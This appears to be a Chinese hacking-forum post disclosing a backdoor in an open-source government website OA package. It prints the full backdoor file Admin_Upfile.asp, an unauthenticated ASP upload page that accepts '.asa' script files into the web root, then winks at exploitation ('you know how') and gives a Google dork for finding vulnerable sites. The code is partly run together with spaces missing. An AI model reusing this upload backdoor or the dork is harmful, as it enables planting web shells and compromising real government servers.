夏茂政府网集成OA完整开源版 内置后门

作者:hack1990 时间:12-05-22 阅读数:491人阅读

源码下载地址 http://www.mycodes.net/25/2177.htm

后门文件:HXINCLUDE/Admin_Upfile.asp

<%Response.Buffer=TrueServer.ScriptTimeOut=9999999OnErrorResumeNext%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><htmlxmlns="http://www.w3.org/1999/xhtml"><head><metahttp-equiv="Content-Type"content="text/html; charset=gb2312"/><metahttp-equiv="Content-Language"content="zh-cn"/><metacontent="all"name="robots"/><metaname="author"content="文件上传"/><metaname="description"content="文件上传"/><metaname="keywords"content="文件上传"/><styletype="text/css"><!--body,input {font-size:12px;}--></style><title>文件上传脚本</title></head><bodyid="body"><%[color=Red]ExtName=[color=Red]"jpg,gif,txt,asa"[/color]   '允许扩展名[/color]  SavePath = "/"          '保存路径  If Right(SavePath,1)<>"/" Then SavePath=SavePath&"/" '在目录后加(/)  CheckAndCreateFolder(SavePath)  UpLoadAll_a = Request.TotalBytes '取得客户端全部内容  If(UpLoadAll_a>0) Then    Set UploadStream_c = Server.CreateObject("ADODB.Stream")    UploadStream_c.Type = 1    UploadStream_c.Open    UploadStream_c.Write Request.BinaryRead(UpLoadAll_a)     UploadStream_c.Position = 0    FormDataAll_d = UploadStream_c.Read    CrLf_e = chrB(13)&chrB(10)    FormStart_f = InStrB(FormDataAll_d,CrLf_e)    FormEnd_g = InStrB(FormStart_f+1,FormDataAll_d,CrLf_e)    Set FormStream_h = Server.Createobject("ADODB.Stream")    FormStream_h.Type = 1    FormStream_h.Open    UploadStream_c.Position = FormStart_f + 1    UploadStream_c.CopyTo FormStream_h,FormEnd_g-FormStart_f-3    FormStream_h.Position = 0    FormStream_h.Type = 2    FormStream_h.CharSet = "GB2312"    FormStreamText_i = FormStream_h.Readtext    FormStream_h.Close    FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,"\")+1,FormEnd_g)If(CheckFileExt(FileName_j,ExtName))ThenSaveFile=Server.MapPath(SavePath&FileName_j)IfErrThenResponse.Write"文件上传: <span style=""color:red;"">文件上传出错!</span> <a href="""&Request.ServerVariables("URL")&""">重新上传文件</a>"Err.ClearElseSaveFile=CheckFileExists(SaveFile)        k=Instrb(FormDataAll_d,CrLf_e&CrLf_e)+4        l=Instrb(k+1,FormDataAll_d,leftB(FormDataAll_d,FormStart_f-1))-k-2FormStream_h.Type=1FormStream_h.OpenUploadStream_c.Position=k-1UploadStream_c.CopyToFormStream_h,l        FormStream_h.SaveToFileSaveFile,2SaveFileName=Mid(SaveFile,InstrRev(SaveFile,"\")+1)        Response.write "文件上传:<span style=""color:red;"">" & SaveFileName & "</span>文件上传成功! <a href=""" & Request.ServerVariables("URL") &""">继续上传文件</a>"      End If    Else      Response.write "文件上传:<span style=""color:red;"">文件格式不正确!</span> <a href=""" & Request.ServerVariables("URL") &""">重新上传文件</a>"    End If  Else%><scriptlanguage="Javascript"><!--functionValidInput(){if(document.upform.upfile.value==""){    alert("请选择上传文件!")    document.upform.upfile.focus()returnfalse}returntrue}// --></script><form action='<%=Request.ServerVariables("URL") %>' method='post' name="upform" onsubmit="return ValidInput()"  enctype="multipart/form-data">文件上传:<inputtype='file'name='upfile'size="40"><inputtype='submit'value="上传"></form><%EndifSetFormStream_h=NothingUploadStream.CloseSetUploadStream=Nothing%></body></html>
利用方法 你们懂的

谷歌 inurl:a125_news.asp
 

 

发表评论